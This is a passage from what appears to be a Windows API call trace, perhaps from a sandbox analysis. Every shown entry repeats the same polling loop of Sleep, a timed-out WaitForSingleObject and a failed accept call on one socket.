0xffffffff [0127.759] Sleep (dwMilliseconds=0xa) [0127.772] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.805] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.805] Sleep (dwMilliseconds=0xa) [0127.818] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.834] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.834] Sleep (dwMilliseconds=0xa) [0127.850] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.866] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.866] Sleep (dwMilliseconds=0xa) [0127.882] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.902] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.902] Sleep (dwMilliseconds=0xa) [0127.912] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.933] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.933] Sleep (dwMilliseconds=0xa) [0127.949] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.959] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.959] Sleep (dwMilliseconds=0xa) [0127.974] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.990] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.990] Sleep (dwMilliseconds=0xa) [0128.006] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.021] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.021] Sleep (dwMilliseconds=0xa) [0128.037] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.055] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.055] Sleep (dwMilliseconds=0xa) [0128.068] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.084] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.084] Sleep (dwMilliseconds=0xa) [0128.099] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.115] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.115] Sleep (dwMilliseconds=0xa) [0128.130] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.146] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.146] Sleep (dwMilliseconds=0xa) [0128.162] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.179] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.180] Sleep (dwMilliseconds=0xa) [0128.193] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.217] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.217] Sleep (dwMilliseconds=0xa) [0128.229] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.240] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.240] Sleep (dwMilliseconds=0xa) [0128.255] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.271] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.271] Sleep (dwMilliseconds=0xa) [0128.288] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.304] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.304] Sleep (dwMilliseconds=0xa) [0128.318] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.333] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.333] Sleep (dwMilliseconds=0xa) [0128.349] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.364] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.364] Sleep (dwMilliseconds=0xa) [0128.380] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.396] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.396] Sleep (dwMilliseconds=0xa) [0128.411] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.431] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.431] Sleep (dwMilliseconds=0xa) [0128.442] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.458] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.458] Sleep (dwMilliseconds=0xa) [0128.474] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.489] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.490] Sleep (dwMilliseconds=0xa) [0128.505] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.520] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.521] Sleep (dwMilliseconds=0xa) [0128.536] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.552] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.552] Sleep (dwMilliseconds=0xa) [0128.567] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.583] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.583] Sleep (dwMilliseconds=0xa) [0128.599] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.617] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.617] Sleep (dwMilliseconds=0xa) [0128.630] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.645] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.645] Sleep (dwMilliseconds=0xa) [0128.661] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.723] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.723] Sleep (dwMilliseconds=0xa) [0128.766] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.770] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.770] Sleep (dwMilliseconds=0xa) [0128.786] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.805] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.805] Sleep (dwMilliseconds=0xa) [0128.817] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.832] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.833] Sleep (dwMilliseconds=0xa) [0128.848] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.864] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.864] Sleep (dwMilliseconds=0xa) [0128.881] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.895] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.895] Sleep (dwMilliseconds=0xa) [0128.910] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.926] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.926] Sleep (dwMilliseconds=0xa) [0128.946] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.958] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.958] Sleep (dwMilliseconds=0xa) [0128.974] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.988] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0128.989] Sleep (dwMilliseconds=0xa) [0129.004] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.020] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.020] Sleep (dwMilliseconds=0xa) [0129.035] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.052] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.052] Sleep (dwMilliseconds=0xa) [0129.066] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.082] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.082] Sleep (dwMilliseconds=0xa) [0129.098] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.114] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.114] Sleep (dwMilliseconds=0xa) [0129.129] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.145] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.145] Sleep (dwMilliseconds=0xa) [0129.160] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.176] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.176] Sleep (dwMilliseconds=0xa) [0129.191] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.207] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.207] Sleep (dwMilliseconds=0xa) [0129.222] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.238] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.238] Sleep (dwMilliseconds=0xa) [0129.254] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.271] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.271] Sleep (dwMilliseconds=0xa) [0129.285] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.302] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.302] Sleep (dwMilliseconds=0xa) [0129.316] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.332] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.332] Sleep (dwMilliseconds=0xa) [0129.347] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.363] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.363] Sleep (dwMilliseconds=0xa) [0129.378] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.394] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.394] Sleep (dwMilliseconds=0xa) [0129.410] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.425] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.425] Sleep (dwMilliseconds=0xa) [0129.441] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.457] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.457] Sleep (dwMilliseconds=0xa) [0129.472] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.488] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.488] Sleep (dwMilliseconds=0xa) [0129.503] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.535] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.535] Sleep (dwMilliseconds=0xa) [0129.550] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.566] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.566] Sleep (dwMilliseconds=0xa) [0129.581] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.597] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.597] Sleep (dwMilliseconds=0xa) [0129.612] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.628] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.628] Sleep (dwMilliseconds=0xa) [0129.644] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.661] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.661] Sleep (dwMilliseconds=0xa) [0129.675] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.690] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.690] Sleep (dwMilliseconds=0xa) [0129.706] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.722] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.722] Sleep (dwMilliseconds=0xa) [0129.737] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.769] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.769] Sleep (dwMilliseconds=0xa) [0129.815] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.844] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.844] Sleep (dwMilliseconds=0xa) [0129.846] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.862] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.862] Sleep (dwMilliseconds=0xa) [0129.878] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.894] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.894] Sleep (dwMilliseconds=0xa) [0129.909] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.924] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.925] Sleep (dwMilliseconds=0xa) [0129.944] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.963] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.963] Sleep (dwMilliseconds=0xa) [0129.971] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0129.988] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0129.988] Sleep (dwMilliseconds=0xa) [0130.002] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.022] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.022] Sleep (dwMilliseconds=0xa) [0130.034] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.049] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.049] Sleep (dwMilliseconds=0xa) [0130.065] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.081] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.081] Sleep (dwMilliseconds=0xa) [0130.096] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.112] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.112] Sleep (dwMilliseconds=0xa) [0130.127] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.144] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.144] Sleep (dwMilliseconds=0xa) [0130.159] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.174] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.174] Sleep (dwMilliseconds=0xa) [0130.190] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.205] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.205] Sleep (dwMilliseconds=0xa) [0130.221] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.236] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.237] Sleep (dwMilliseconds=0xa) [0130.252] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.269] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.269] Sleep (dwMilliseconds=0xa) [0130.283] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.299] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.299] Sleep (dwMilliseconds=0xa) [0130.314] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.330] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.330] Sleep (dwMilliseconds=0xa) [0130.346] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.361] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.361] Sleep (dwMilliseconds=0xa) [0130.378] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.393] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.393] Sleep (dwMilliseconds=0xa) [0130.408] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.424] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.424] Sleep (dwMilliseconds=0xa) [0130.439] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.455] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.455] Sleep (dwMilliseconds=0xa) [0130.470] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.486] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.486] Sleep (dwMilliseconds=0xa) [0130.502] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.517] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.517] Sleep (dwMilliseconds=0xa) [0130.533] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.548] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.549] Sleep (dwMilliseconds=0xa) [0130.564] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.580] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.580] Sleep (dwMilliseconds=0xa) [0130.595] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.611] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.611] Sleep (dwMilliseconds=0xa) [0130.626] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.642] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.642] Sleep (dwMilliseconds=0xa) [0130.658] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.673] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.673] Sleep (dwMilliseconds=0xa) [0130.689] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.705] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.705] Sleep (dwMilliseconds=0xa) [0130.720] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.736] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.736] Sleep (dwMilliseconds=0xa) [0130.751] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.778] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.778] Sleep (dwMilliseconds=0xa) [0130.782] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.798] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.798] Sleep (dwMilliseconds=0xa) [0130.814] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.829] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.829] Sleep (dwMilliseconds=0xa) [0130.845] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.892] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.892] Sleep (dwMilliseconds=0xa) [0130.946] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.954] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.954] Sleep (dwMilliseconds=0xa) [0130.970] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0130.985] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0130.985] Sleep (dwMilliseconds=0xa) [0131.001] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.032] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.032] Sleep (dwMilliseconds=0xa) [0131.048] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.063] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.063] Sleep (dwMilliseconds=0xa) [0131.079] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.094] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.094] Sleep (dwMilliseconds=0xa) [0131.110] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.126] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.126] Sleep (dwMilliseconds=0xa) [0131.141] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.157] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.157] Sleep (dwMilliseconds=0xa) [0131.172] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.188] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.188] Sleep (dwMilliseconds=0xa) [0131.204] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.219] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.219] Sleep (dwMilliseconds=0xa) [0131.235] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.266] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.266] Sleep (dwMilliseconds=0xa) [0131.266] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.282] accept (in: 